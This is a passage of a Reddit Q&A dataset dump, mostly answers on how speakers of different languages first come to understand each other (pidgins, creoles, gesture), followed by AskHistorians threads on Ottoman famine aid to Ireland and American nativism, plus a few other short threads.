she threw him into her car as she tried to calm him down.. Now that i think of it he might have gotten kid napped... But the point is it isnt possible to learn a new language without a teacher and the universe is fake.", "Okay, SURE, pointing at nouns and acting out verbs could work. What about non-material words? Justice? Love? Just to name a couple.", "reminds me of the time I was in France with my family. I was maybe 12, and no one in my family knew any French at the time. My mom was hungry, and due to her have celiacs disease, wanted to find eggs for breakfast. So we go to this cafe, and my dad goes up to the waiter and starts to ask if they have eggs. He didn't know English, so my dad eventually starts to pretend he is a chicken popping a squat. This immediately did the trick and the waiter emphatically yells \"AHH OEUFS\". Till this day I won't forget the french word for eggs", "Linguist here. Admitted, I'm a phonetician, so I don't have much research experience with pidgins and creoles, but we do cover the topic in our early linguistics studies.\n\nIt was very common for people who could not speak to each other due to different dialects/languages to come into language contact due to trade, war, etc. Usually trade hubs or borders were where this sort of thing usually happens. At first, the two groups develop a pidgin, similar to what other posters here are discussing, where they use vocabulary terms they learn from each other without much context. Eventually they add simple forms of grammar, but nothing comparing to a complete language capable of expressing the range of tenses, various morphological changes, etc.\n\nThe next phase is when children grow up learning the pidgin as their first language. By communicating with each other, children involuntarily identify the missing grammatical information in the pidgin and create their own syntax which by the time the children have a true language community, develops into a fully fledged language. This language is then referred to as a Creole language. There are a number of Creole languages in the world- most US posters here may be familiar with Louisiana Creole, for example. I specialize in East Asian languages, so I'm familiar with Singlish (Singaporean English, a creole of English, Mandarin, Hokkien, other Chinese languages, Malay, etc) and the Japanese-English creole language in the Bonin Islands.\n\nThere is some evidence that signed languages can develop pidgins and develop into full Creole languages much faster than spoken languages. Nicaraguan sign language developed in a single generation as deaf children came together to Nicaragua's first school for the deaf, bringing with them their home signs they used in their own homes. The older children continued to use the school's signed pidgin, whereas the younger children developed Nicaragua's first complete signed language, which is now the official Nicaraguan Sign Language.", "History has shown us the Occidentals tend to pull out their guns. Guess who has to learn whose language first?", "Translating between two languages doesnt seem as impressive as creating a language when you think about it. When two groups of people speaking different languages meet as least you acknowledge the fact that they are speaking another language. Then you can simply start pointing at objects and saying the sounds until they remember it then act out verbs such as \"the water (point to water) falls (make a moving hand motion) \" Once you get a base line of words then you can start filling in the gaps until it makes sense. But for people who once spoke no language and get them to grasp the concept of language seems way more challenging.", "You should watch Dances With Wolves. A solid quarter of the movie focuses on this very topic - Kevin Costner is a lone soldier guarding his post in the middle of nowhere and he's trying to figure out how to communicate with the native Americans, and they make some impressive progress expressing simple ideas through physical demonstrations of word association. That is until the translator appears.\n\nEDIT: Here's an example\n_URL_0_", "English speaker: *points at tree* \"TREE.\"\n\nSpanish speaker: *points at tree* \"Tree? No, \u00e1rbol\"\n\nEdit: *there's the accent...*", "Lot's of pointing, hand signals,  &  pictures in the dirt.\n\nSource: I have done this. Moved to Russia when I was 10 and didn't speak Russian  &  the local kids didn't know English.", "Short answer: Same way babies do. Humans (and animals) can recognize patterns. With enough repetition you figure things out. Go to another country and you'll pick up \"thank you\" almost immediately as well as some fruits (maracuja is tasty! passion fruit in english).\n\nI like to point out a friend of mine is french. She knew 0 words of english when she came here. The first two weeks of school (gr 2 or 3) sucked for her she didn't understand a thing. 3 weeks later she was able to say a few words and a sentence. I heard other people have the same experience. You don't need to learn single words or gestures. You'll learn through patterns and some context", "Probably alot of swearing at each other, pointing at shit saying what it is in each language, then writing how it sounds down, some miscommunication, like how Canada apparently got it's name, some village cheif was talking to this french dude, and made a motion towards the surrounding area saying \"kanada\" which I'm pretty certain means our village or my village, the French dude thought that he was saying what they called the entire continent the entire continent, rather than just reffering to his village", "I wondered this once, until I actually worked with people that didn't speak english well. First time was Austrian, he was mid-40's and didn't retain a lick of English, lucky for him I had 3 years in German at school but he would talk so fast and I could only read and write German well so that was out the window. He would just point to something, then point to something else and say machen. Which I pretty much got. When I tried to say the english word he would say nien. He didnt give a fuck about english so theres that.\n\nThen I worked with some spanish guys who didnt speak a lick of english. We all worked alone so done deal but after work we would just hang out and drink beer and the main word being tossed around was just cerveza.\n\nThing is if they dont wanna learn, they arent gonna learn it. I tried to learn it, but they werent very cooperative. Now if we had to work more closely together and more as a team, im sure we would have understood each others languages very well, but we didn't.", "People start by forming Pidgin languages.  These are incomplete, trade languages that have no native speakers.  [Chinook Jargon](_URL_0_) is a good example.  \n\nLater on, if the contact continues, children who grow up exposed to to both the parent languages and pidgins form [Creoles](_URL_1_), which are functionally complete languages that inherit characteristics from their base roots, but are independent languages of their own.  This pattern of linguogenesis is remarkably consistent around the world. ", "I saw something on Tumblr that explained this, but I can't find it. I will link it though if I do.\n\nIt went something like this:\n\n >  how did they learn to translate languages into other languages how did they know which words meant what HOW DID TH\n\nEnglish: *points at apple* Apple.\n\nFrench: Non c'est un fucking pomme\n\n*800 years of war*", "Actually, the first generations will never become fluent. That newly made, and limited \"language\" is called a pidgin. If they people stay and have children, the children will learn to mix the languages together. That would be a creole.\n\nThis is possible because of a weird phenomenon. If you point at a Rabbit and say Rabbit, people will understand that you are talking about the rabbit. That sounds dumb to say, but you could have been pointing at the rabbit to say: animal, fur, running, big ears, brown, or any number of other things. I forget what the name of the phenomenon is though. I'll try to figure it out.", "people adapt so quickly. i had a blind patient that only spoke russian, only a couple words in english. After about 3 months of everyone speaking english to him he was fluent in english. I thought it was amazing. I guess once you are forced into a situation, your brain can focus on what it needs to do. think about toddlers, they learn without any language knowledge. i have done the same thing, i moved to a spanish speaking town not knowing any spanish. Everyone was super helpful and would point to things and speak slowly, after a while I was catching on to what things meant, i made mistakes but they would laugh and help me when needed. \n", "The Dutch probably could've used Portuguese as a Lingua Franca as their missionaries had been there for a while and we still find a few words in Japanese that are from Portuguese: Arigato, Tempura, etc.", "[It's easy, you just watch some foreign people talk between themselves for a night and you already know the language. It's been despicted on Tv several times](_URL_0_)", "The two cultures create a tertiary language, called a pidgin. The pidgen language can be thought of having 2 parts: words and how those words are structured. Almost always, one of the languages is used for words part and the other is used convey these meanings into a message. It's much more complex than that of course, but it's this agreement (or convention, if you will) that provides a foundation for effective communication. ", "My friend who crossed the border from Mexico at thirteen years old said he listened to the Beatles,  and he cried the first time he could sing an entire song in English. He said if i wanted to learn spanish to watch movies in English with spainsh subtitles on,  then listen in spanish with English subtitles on. ", "A lot of times, children who still have plastic language centers in their brain will pick it up from being around it at places such as the market. Often they form a hybrid language between the two called \"pidgin\" and a new language is birthed. Also, they grow up and are able to translate between the two and help to bridge the gap", "I learned English when I was 7 yrs old from watching children's cartoons. (Mind you, I did not live in the US back then!) My friends were surprised that I was not native-born American!\nI don't exactly know why, but if you see another-language speaking person you learn it! Wierd, huh?", "This is how you break down the wall:\n\nStart with two beings. They can be human if you like, but that's hardly a prerequisite. All that matters is that they know how to talk among themselves.\n\nSeparate them. Let them see each other, let them speak. Perhaps a window between their cages. Perhaps an audio feed. Let them practice the art of conversation in their own chosen way.\n\nHurt them.\n\nIt may take a while to figure out how. Some may shrink from fire, others from toxic gas or liquid. Some creatures may be invulnerable to blowtorches and grenades, but shriek in terror at the threat of ultrasonic sound. You have to experiment; and when you discover just the right stimulus, the optimum balance between pain and injury, you must inflict it without the remorse.\n\nYou leave them an escape hatch, of course. That's the very point of the exercise: give one of your subjects the means to end the pain, but give the other the information required to use it. To one you might present a single shape, while showing the other a whole selection. The pain will stop when the being with the menu chooses the item its partner has seen. So let the games begin. Watch your subjects squirm. If\u2014when\u2014they trip the off switch, you'll know at least some of the information they exchanged; and if you record everything that passed between them, you'll start to get some idea of how they exchanged it.\n\nWhen they solve one puzzle, give them a new one. Mix things up. Switch their roles. See how they do at circles versus squares. Try them out on factorials and Fibonnaccis. Continue until Rosetta Stone results.\n\n**This is how you communicate with a fellow intelligence: you hurt it, and keep on hurting it, until you can distinguish the speech from the screams.**\n\n\u2014Source: [Blindsight by Peter Watts](_URL_0_)", "Same as the rosetta stone. You figure out a few words that are easy to figure out, simple objects or verbs, and from there you develop, correct and refine.", "In the case of European settlers meeting natives, they didn't really make an attempt. They sort of declared terra nullius and tried to kill them.\n", "I dated a girl in another country who didn't speak my language very well for a few years.  We ended up using her language's grammar and my language's vocab, adding in gestures and onomatopoeia for open-class words (==verbs or nouns that have many synonyms (e.g. boat/ship/vessel or walk/stroll/ambulate versus somthing like 'up').  \n\nI used to study linguistics.. that seemed to be the case often.  In colonized areas, in the resulting pidgins and creoles, often the open-class words are taken from the colonizers and the closed-class words are taken from the colonized. \n\nAnother interesting things is the loss of grammatical markers like case/gender/tense, etc.  Word order becomes more important.  Some think that the reason word order becomes more important is because the word order can carry information in a universal way.  Everyone has personal experience with sequence (1st word, 2nd word, 3rd word, etc.), so you can store cross-linguistic information through that order, even though it may be less efficient and precise than using more abstract verbal markings (like endings or prefixes or suffixes) to determine grammatical structure.", "When the European settlers originally met Native Americans... they would cry \"c\u00f3gela!, c\u00f3gela!\" (get her! get her!) to each other while trying to catch some native american girl. Native Americans thought they meant \"fuck her! fuck her!\" because the next thing those Europeans did was to rape said girl.\n\nSo answering your question, they figure out these things badly, by associating observed behavior and observed words from the other party. Luckily, all human (natural) languages are meant to be learned from scratch by babies, with no prior knowledge of either word meaning nor syntactical relations, so ultimately anyone can learn them following the same process a baby would follow: lots of repetition and association exercises, both for vocabulary building and for syntax.", "Well I remember reading somewhere that when Europeans first made contact with the Japanese they talked about non-verbal communication as well as using the Portuguese-Latin-French letters and pronunciations. They would record words or phrases using this system and using that in conjunction with non-verbal queues and they could figure out the language.", "Can confirm a lot of what has been said here. I have 6year old twins. Their mum and I split when they were one year old. Their mum speaks German exclusively, I speak English exclusively, the kids have grown up completely bilingual and only realised through trial and error at about 4 years old they know two languages that not everybody else does. I am recently migrated to Germany and work in IT, the field has a language of its own, mostly. I have really poor German skills, most of my vendors, subordinates and colleagues have zero English capability. A few months in, we're doing okay through a lot of trial, error and frantic hand gestures.", "There are two theories that could explain this. And, they are not opposing theories; in fact, if both were right, it would make both even more believable, but since there's a possibility that one is right and the other is not, I'll discuss them separately.\n\nThe first theory is that all languages evolve from a common ancestor, and at the very least, some words have common patterns. In any case, languages are classified by families and can be understood by non-speakers up to a point. For example, English, French and German share some common ancestry. Spanish, Portuguese, French, and Italian also share a common ancestry, and the commonalities are stronger between these languages than between French, English or German. For example, the word \"door\" in English can be translated to \"porte\" in french, \"puerta\" in Spanish, \"porta\" in portuguese, and \"porta\" in Italian. There are complete sentences in Spanish and portuguese that are exactly the same in both languages. \n\nTrouble begins when languages are further apart from each other. For example, between English and Japanese. I pick these two languages because they not only do not share any common native words (Japanese has adopted many words from the English language, but they are written with a different character set than native japanese words), but they also have a completely different grammatic structure. While English has a subject-verb-object structure, for the most part (for example, I write this), Japanese has a different structure that is subject/object-verb (i.e., \u79c1\u306f\u3053\u308c\u3092\u66f8\u304d\u307e\u3059\u3000/ I this write). So, how do they understand each other? By constructing a new, mutually intelligible proto-language with which people teach each other their language (point to myself, then point to this, then make writing movements, all while speaking each thing's words in my language, for example)...\n\nAnd this brings us to the second theory. This theory states that the principles underlying the structure of language are biologically determined in the human mind and hence genetically transmitted. In other words, every single individual that shares the genetic makeup that makes us human has the same biological determination to create and understand language. Which means that, at some instinctive level, we are able to understand the \"gist\" of what other people are saying through non-verbal cues from which we can extrapolate, and eventually develop our ability to understand a foreign language.\n\nAs you can see, the idea that language is biologically determined would also make it easier to believe, and would explain, that all languages share a common ancestor. This hasn't been proven beyond doubt, but there is evidence that points to that direction.\n\nSo, how do people understand each other? By identifying commonalities, non-verbal cues, and exploiting them through the biological predisposition we have towards language, and do so recursively until mutual understanding is achieved.", "Recall that upon being born, you yourself spoke no language, and yet you are now fluent in English. It's exactly the same, only each party starts with a different language and you gradually pick up each other's, usually because there are strong benefits to doing so. ", "Englishman: *points at apple*\n\"Apple!\"\nFrenchman: \"Non, c'est une pomme, idiot!\"\n\n*300 years of war*", "Ah hah! I've got a live video demonstration that I found to answer this exact question!\n\n[\"Monolingual Fieldwork\" Demonstration - Daniel Everett](_URL_0_) is a great example of how a linguist would start from scratch with an unknown language.\n\nObviously when two people meet, especially in the past, were unlikely to be linguists but the process is still pretty similar. You start with basic things like others have pointed out and build up vocabulary and grammar from there.", "Your examples are of languages that don't have commonality. Languages like English, French, Spanish, and even German really aren't that hard to just kind of pick up with some basic Latin and commonsense. But when they're not, like English to say... Arabic? You end up in a rougher starting place. Charades, pictures, you get along. ", "I do believe that the actual process is a lot more complex than what I am about to describe. If the other person is willing to cooperate you start pointing to a different everyday items and key actions to learn their names. For example you show them an apple and they tell you their word for apple. When you start eating the apple they will tell you their word for to eat and you in present simple tense. You have to be very patient, very observing and very very detailed in your notes. When you have gathered some material for analysis - you start breaking it down to see which part is which and what purpose does it serve in the sentence. Once you master that you can go into the wild and use this knowledge to accumulate more knowledge. I presume that with this type of approach you will need at least 5 years (depending on the language structure, of course). \n\nOr at least this will be what I would do if I am in a similar situation. ", "1. **Non-verbal explanations**: My girlfriend is Portuguese and she learned German by watching TV. I've heard that is a common way for many people to learn a new language fast. Think of news shows: They always have a certain way to start. So you might figure out the word \"news\" or probably the time from the beginning of news shows. Or \"no\" is in many languages shaking the head. Nodding is often agreeing.\n2. **Children**: If you have parents of one language, but a child who is raised in another language community, then the child will most likely learn both languages and be able to translate between them. How do the children learn the language? Well, details are unknown by now, but a coherent non-verbal part which comes with the same verbal expression is certainly an important part.\n\nOther ideas:\n\n* **Mentally retarded**: It is simpler to learn a language from very basic concepts. Mentally retarded people might be a very good help for foreigners to learn a language as they might speak in much simpler ways / have much straighter thoughts. Similarly, speaking with children might be simpler than speaking with adults.", "I'm thinking it the scene from iron giant when the kid is teaching the robot what a tree is, I think it would be something like that", "This may get removed since it's not a \"serious\" answer... But my father dated a Slovakian woman for a very long time who spoke 5 languages. Her parents also spoke 5 languages each, though up until meeting none of those were shared, apparently. \n\nHer mother and father met on a beach on a Monday, they say. They communicated by drawing pictures in the sand. For hours. They came back every day to draw more and more as they struggled to learn each other's language. In spite of the barrier, they fell madly in love. They married on that Thursday, and are still together today 60 years later. They used sand drawings for a good portion of their relationship. :)", "Darmok and Jalad at Tanagra\n\nThere's a very good Star Trek TNG episode called, Darmok, which partly tackles this question. Worth watching. ", "\u201cELI5:How do two languages, when meeting for the first time, learn each other's language?\u201d\nGiven that humans share a great many basic requirements and procedures, it wouldn\u2019t take that long for the essence of some action to become associated with whatever notional verbal/signal code is being used to identify it. However even those who seeming live, speak, and survive, by virtue of a shared linguistic singularity, don\u2019t necessarily comprehend what an associate is attempting to impart. Because they are attempting to encode concepts existing in their internal mental rendition of reality. Then transmit them to a recipient, who has to decipher that encrypted signal using the code \u2018book\u2019 that they keep in their internal mental rendition of reality. There is an old adage that illustrates the illusion of the power and commonality of language. When one has learned all the names, of all the lifeforms, in all the languages, in all the world. One will still know absolutely nothing about those lifeforms.\n", "*points at tree*\n\n\"that's a tree. TREEEEEE\"\n\n*they look at tree*\n\n\"Eckombokum\"\n\n\"alright, tree is eckombokum\"\n\nbut over and over again with different things in different ways", "I learned German exclusively by watching German cartoons when I was a kid. So it should be possible by only listening + observing actions and behaviour.", "Englishman points to apple \"apple\".\nFrenchman: non, c'est une fucking pomme.\n\nhundreds of years of war.\n\ngot it from a tumblr post (oh no!) thought it was funny.", "Just bring a small child and wait five years. Presto, you've got someone who speaks both languages perfectly.", "Englishman - points at apple \"apple\"\nFrenchman \"Non cest un fucking pom\"\n*800 years of war*", "OP you foreal couldn't think of any ways?...", "Easy, the noble white man exterminates the savages and takes their homeland for himself. \n\n\nOkay that was just a joke but I'm a horrible person XD", "We got the word kangaroo, according to Melvyn Bragg's 'The Adventure of English', from a meeting between European explorers and Australian aborigines, where one of the Europeans pointed to one and asked: \"What's that?\" The aborigine, turning to see where he was pointing, asked \"What's what?\" in his own language. Which is \"Kangaroo?\" So the word kangaroo really means \"What's what?\" in aboriginal.", "Simplest thing point at an object (let's say a buffalo) say it slowly Buf-fa-lo, buffalo. \n\nThe American replies Ta-ton-Ka, tatonka.  \n\nMake a hand jester waving \"hel-lo\"\n\nAmerican replies \"halito\"\n\nVery basic stuff. Once this is establish, you can start stringing sentences together. \n\nOr at least this is how I imagined it.\n\nMore than likely fur traders or others kept journals and would draw objects and have people say the name and then they would write it down phonetically. \n\nI could be wrong. But people didn't have iPhones back then, and it's how I learn other people's languages. ", "Mutual concepts. You try out different things and hope for similar meaning.\n\ni.e. point to the sun and say 'sun'. They point to the sun and say 'hael'.\n\nYou point at a sheep and say 'sheep'. They point at a sheep and say 'defaid'.\n\nThen you find out you're in Wales and they're speaking Welsh.", "In theory I'd imagine it's much the same process as how we learned our first language. Everybody is born without language. We observe and learn, with assistance, words for things and actions (nouns and verbs), build up to descriptors for feelings, physical characteristics, etc. (adjectives) and, as others suggest, it snowballs from there. ", "Both groups would intuitively use universal grammar rules. Example: Dummy verbs are not universal. In English we can obscure negation with with \"Do\"- \"Don't eat that\" or \"Do not go there.\" Intuitively we'd say to a foreigner, \"Eat? No!\" or \"No go there\" making the negation prominent. Similarly, we pull out time markers, \"Tomorrow I go\", realize articles are unnecessary, numbers alone mark plurals (2 apple, etc.) . I don't think these are just simplifications, they are simplifications based on \"UG\" rules we intuitively know that all people share.", "It starts with non-verbal communication. If I pick up a piece of food, bring it to my mouth and make a chewing motion, its pretty obvious I am telling you to eat it.\nIf I then keep saying the word \"eat\" over and over again while doing that gesture, you'll figure out what the word \"eat\" means.\nRinse and repeat.", "It basically works just like when you learned your first language. Your parents couldn't translate either so they show you or explain it in a vocabulary you already understand", "Makes me think of a Canada Heritage Moment (a TV commercial put out by the government of Canada to educate and help us appreciate our heritage). \n\nEuropeans meet Natives for the first time. The Natives point to refer to the nearby village 'Kanata'. European leader asks \"What does that mean?\". Some other know-it-all European is like \"Uh yeah, they're saying this land is called Canada\". \n\nSo our country is called this because some European couldn't admit he didn't know WTF the natives were actually saying. ", "The same way you did when you were a child. You point at something and say the word. Do it enough times and you catch on.  Source: Mother was an ESL teacher."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], ["https://www.youtube.com/watch?v=sYpWp7g7XWU"], [], [], [], ["https://upload.wikimedia.org/wikipedia/commons/thumb/4/44/Germany_Name_European_Languages.svg/1486px-Germany_Name_European_Languages.svg.png"], [], ["https://www.youtube.com/watch?v=3-wzr74d7TI", "http://memory-alpha.wikia.com/wiki/Darmok_(episode)", "https://www.youtube.com/watch?v=ANvlLcOTy6M"], ["http://gregegan.customer.netspace.net.au/DIASPORA/01/Orphanogenesis.html"], [], [], [], [], [], [], [], [], [], ["https://www.youtube.com/watch?v=rrGPW4O_5Cc"], [], [], [], [], [], ["https://en.wikipedia.org/wiki/Chinook_Jargon", "https://en.wikipedia.org/wiki/Creole_language"], [], [], [], [], ["https://www.youtube.com/watch?v=aVVURiaVgG8"], [], [], [], [], ["http://www.rifters.com/real/Blindsight.htm"], [], [], [], [], [], [], [], [], [], ["https://www.youtube.com/watch?v=sYpWp7g7XWU"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "4p6jb2", "title": "How much truth is there in the \"legend\" that the Ottoman Sultan in 1845 intended to send \u00a310,000 to the Ireland during the potato famine, but only sent \u00a31000 so as not to send any more than Queen Victoria (who sent only \u00a32000)?", "selftext": "This \"fact\" appeared on TIL today, and directed me to a wikipedia page, so I was wondering if it was at all a reliable statement! ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4p6jb2/how_much_truth_is_there_in_the_legend_that_the/", "answers": {"a_id": ["d4jefju"], "score": [29], "text": ["I addressed this question (along with the related claim that the sultan also sent three shiploads of food aid to Ireland) in detail here:\n\n_URL_0_\n\nThe tl;dr is that the sultan definitely did gift \u00a31,000; that the claim that he had wanted to give \u00a310,000 first appears in Taylor  &  Mackay's Life and Times of Sir Robert Peel (1851); and that it is hard to source \u2013 the book is not referenced. Taylor was statistician to the British viceroy in Dublin at the time of the famine, and it may be he had access to unpublished information from this source. \n\nA second source, dating to 1894, is more explicit: the Irish nationalist William J. O'Neill Daunt claimed to have heard from the son of the sultan's personal physician that he \"had intended to give \u00a310,000 to the famine-stricken Irish, but was deterred by the English ambassador, Lord Cowley, as Her Majesty, who had only subscribed \u00a31000, would have been annoyed had a foreign sovereign given a larger sum\u2026\u201d\n\nAnalysis shows the two versions of the tale are probably independent and hence corroborate each other, although O'Neill Daunt was wrong about the amount that Queen Victoria gave \u2013 it was \u00a32,000."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://mikedashhistory.com/2014/12/29/queen-victorias-5-the-strange-tale-of-turkish-aid-to-ireland-during-the-great-famine/"]]}
{"q_id": "dd4ddb", "title": "Watching Gangs of New York and wondering about the history of nativist movements in the United States", "selftext": "I'm watching Gangs of New York again and I was curious about the right wing xenophobic rhetoric in the movie. After reading a couple Wikipedia articles I came across the Know Nothing party which seems like one of the earliest Nationalist-Nativist movements in America. I was wondering if there had always been ultra nationalist sentiment in the United States since it's formation and what kind of preexisting ideologies may have helped bring about the nativist sentiment outside of resentment for immigrants. What does the evolution of American nationalism look like before and up to the Know Nothing party of the 1800s and how did it evolve into the nationalism we see today with Trump?\n\nAlso I read that much of the resentment against Catholics was the belief that Pope Pius IX  played a role in stopping the nationalist revolutions of 1848. I had always learned that the nationalist movements of that era were focused on sovereignty rather than nativism and xenophobia but was there actually an element of that in the revolutions of 1848 and what does the relationship between the European nationalist movements and American nationalist movements look like at this time?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/dd4ddb/watching_gangs_of_new_york_and_wondering_about/", "answers": {"a_id": ["f2f2dyh", "f2f5qnd"], "score": [4, 4], "text": ["Part 1:\n\n  \n\nI'm not familiar with the movie, and there's a lot to unpack in your question. But I'm going to do my best to lay out the history of nativism in the United States.\n\nIn articles and classes that cover nativism this quote from Franklin is often presented to demonstrate that immigrants have faced suspiscion from very early on:\n\n*\"Those who come hither are generally of the most ignorant Stupid Sort of their own Nation\u2026and as few of the English understand the German Language, and so cannot address them either from the Press or Pulpit, \u2019tis almost impossible to remove any prejudices they once entertain\u2026Not being used to Liberty, they know not how to make a modest use of it\u2026I remember when they modestly declined intermeddling in our Elections, but now they come in droves, and carry all before them, except in one or two Counties...In short unless the stream of their importation could be turned from this to other colonies, as you very judiciously propose, they will soon so out number us, that all the advantages we have will not in My Opinion be able to preserve our language, and even our Government will become precarious.\"* \n\nSee more here: [_URL_0_](_URL_1_) \n\nLess well known but along similar lines is this quote from Jefferson (regarding immigrants from absolutist monarchies):\n\n*\u201cThey will bring with them, the principles of the governments they leave, imbibed in their early youth; or, if able to throw them off, it will be in exchange for an unbounded licentiousness, passing, as is usual, from one extreme to another. It would be a miracle were they to stop precisely at the point of temperate liberty. These principles, with their language, they will transmit to their children. In proportion to their members, they will share with us the legislation. They will infuse in their spirit, warp and bias its direction, and render it a heterogeneous, incoherent, distracted mass.\u201d* Franklin's sentiment is one that reoccurs throughout American history - a basic fear that new arrivals with a different culutral background (and language) will replace the existing institutions and culture, or be incompatible with it so as to create a permenant separate group outside of mainstream society. However, while nativist sentiments existed in the colonial and revolutionary period, they were not particularly organized or expressed in the legislatures.\n\nIn the early republic (1790-1830) immigration was low (by American standards). There was some hostility from Federalists towards (mainly) French immigrants during the 1790s due to fears that they were spreading and encouraging radical political ideas. The Federalists were hostile to the French Revolution, and although many of the immigrants were actually refugees from the extremes of that revolution, many of them sympathized with the revolutionary ideals and associated with the Republicans (or Democratic-Republicans) in opposition to the Federalist party. I wouldn't necessarily say that Federalists were deeply nativist as a principle, this had more to do with the particular situation with France.\n\nThe first great wave of immigration to America began around the 1830s and accelerated in the following decades. It was in part driven by the Irish famine, but also included many German and British immigrants. In this period there was a significant nativist backlash, including as you mention the \"Know-Nothing\" party. Some of this opposition surely related to simple prejudices of the \"other\", and sometimes related to economic concerns or an impression that peasant immigrants were backwards, dirty, ignorant and dangerous. However, among the more nativist leaders the main issue was tha Catholic faith of many of the immigrants (there were in fact many protestant immigrants too, but thee were often ignored).\n\nIn this period many American still considered the nation to be a protestant country. Although religious pluralism was tolerated, many considered the institutions in America and its democratic values to be a fundamental outgrowth of protestant Christianity. Catholicism was associated with European conservatism, tyranical monarchs (especially the Austrian Emperors) and a church that kept people enslaved in superstition and feudal subservience.\n\nAs you mention, this was partly related to the revolutions in 1848 (the refugees from these revolutions were generally anti-clerical and wren't usually a concern for nativists, in many cases they might even be welcomed). These revolutions were opposed by the conservative forces in Europe, including the Pope, but were generally seen by Americans as being part of a great historical progress towards republican and enlightened societies.\n\nSamuel Morse is a good representative of the prevailing view among nativists leaders:\n\n*\u201cEmigrants\u2026 have nurtured their foreign feelings and their foreign nationality to such a degree, and manifested such a determination to create and strengthen a separate and a foreign interest, that the American people can endure it no longer, and a direct hostile interest is now in array against them.\u201d*\n\nHe (and others) at times went so far as to suggest that the Catholic immigration was a plot by the conservative/Catholic powers to destroy American democracy:\n\n*\u201cThe arbitrary governments of Europe \u2013 those governments who keep the people in the most abject obedience at the point of the bayonet, with Austria at their head, have combined to attack us in every vulnerable point that the nation exposes to their assault. They are compelled by self-preservation to attempt our destruction \u2013 they must destroy democracy.\u201d*\n\n...\n\n*\u201cNow emigrants are selected for a service to their tyrants, and by their tyrants; not for their affinity to liberty, but for their mental servitude, and their docility in obeying the orders of their priests.\u201d*\n\nDespite a quite strong nativist movement in this period (peaking around the 1850s), there was not really much legislative action to restrict migration. Perhaps because other questions like slavery and westward exapansion dominated the politics of the time.\n\nThe hostility towards Catholicism would remain a somewhat important part of American society well into the 20th century. Al Smith (the first Catholic candidate for President) did notably poorly in some Southern states at a time these states were solidly Democratic. Anti-Catholicism was also a very important part of the ideology of the KKK. However, gradually Catholicism came into the mainstream, and Americans came to think of their country as Christian or Judeo-Christian rather than Protestant.\n\nContinued in comments...", "u/epictortoise has given a great overview of the history of American nativism. For a micro-view on what nativism looked like, specifically in the pre-Civil War period in Massachusetts, you might want to check out my [answer](_URL_0_) here. I note this because the idea that anti-immigrant nativism, especially before the Civil War, was \"right wing\" or in some sense reactionary isn't totally accurate - it was often closely connected with reform movements."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.dialoginternational.com/dialog\\_international/2008/02/ben-franklin-on.html", "https://www.dialoginternational.com/dialog_international/2008/02/ben-franklin-on.html"], ["https://www.reddit.com/r/AskHistorians/comments/d1n7sh/boston_was_well_known_to_be_an/ezpqrnf/"]]}
{"q_id": "4c2b98", "title": "what\u2019s the purpose of long words which have short, simple equivalents?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4c2b98/eli5whats_the_purpose_of_long_words_which_have/", "answers": {"a_id": ["d1eejws", "d1eeloy", "d1eguuc", "d1egzcg", "d1ehpdg"], "score": [23, 10, 2, 25, 2], "text": ["Words in English don't usually have *perfect* synonyms. There is almost always a slight difference in connotation that makes one more appropriate than the other.", "In English we have words that came from the Germanic roots of the language; somewhat newer words that the French brought over; and even newer words that scholars brought over from Latin. (Consider: kingly, royal, regal. Watery, aqueous. Piggy, porcine. Air, atmosphere. Smart, intelligent.)  \n\nThe French invaders were higher-class, and the Latin-speaking scholars were the new prestigious class, so the newer words were thought to sound more educated and high-class -- even if they were longer in some cases.\n\n\nAlso, in science and medicine, Latin is used partly because it is an internationally understood standard, to avoid confusion.\n\nIf you enjoy this sort of thing, check out /r/etymology and /r/linguistics.", "Words don't usually have perfect synonyms. Even dictionary definitions can be inaccurate because of the narrow scope of their descriptions. A whole lot can go into what a word can mean. ", "In English, words do not need to have purposes.  You cannot take a word to court and have it banished for shiftlessness and vagrancy.  However, writers can have a purpose for using particular words.  Often the purpose for using longer words is clarity and precision.\n\nShort words tend to accumulate a lot of different meanings.  \"Have\" can mean \"possess\", \"obliged\" (or \"required\", or \"must\"), or just be a helping word to change the tense of a verb.  \"Used\" can mean \"formerly\", \"accustomed\", or \"utilized\".  Having too many short, simple, but ambiguous words together in the same sentence or paragraph can render the entire thing ambiguous and opaque.  This is particularly the case where the intended audience includes people with limited experience of English.  While the words might be short and simple, figuring out what they mean through context is not.\n\nThere is a famous joke/pun:\n\n >  Time flies like an arrow.\n >  Fruit flies like a banana.\n\nThis is based on the ambiguity of both \"flies\" and \"like\".  If it were written like this:\n\n >  Time propagates similar to an arrow.\n >  Drosophila appreciate a banana.\n\nthen there would be no ambiguity.  There would also be no humor, but sometimes ambiguity is no laughing matter.", "Because they are not truly equivalent.\n\nWords have a lot of subtle meaning and nuance.  \"accelerated\" and \"fast\" might superficially mean the same thing, but accelerated conveys additionally, more specific meaning than fast does on its own. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "8kl095", "title": "The origins of Hentai?", "selftext": "So the other night I was watching hentai and I thought, where did this genius come from? Is there any time that we can say, this is where hentai came from?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/8kl095/the_origins_of_hentai/", "answers": {"a_id": ["dz8gtzo"], "score": [3], "text": ["Not to discourage further answers, but you may also be interested in:\n\n- [How did the Japanese anime, manga, light novel, and visual novel industries become so interconnected?](_URL_1_)\n- [Tentacle porn goes back hundreds of years, but when did Japan start getting known for having it?](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/7w0h4b/tentacle_porn_goes_back_hundreds_of_years_but/", "https://www.reddit.com/r/AskHistorians/comments/2xockb/how_did_the_japanese_anime_manga_light_novel_and/"]]}
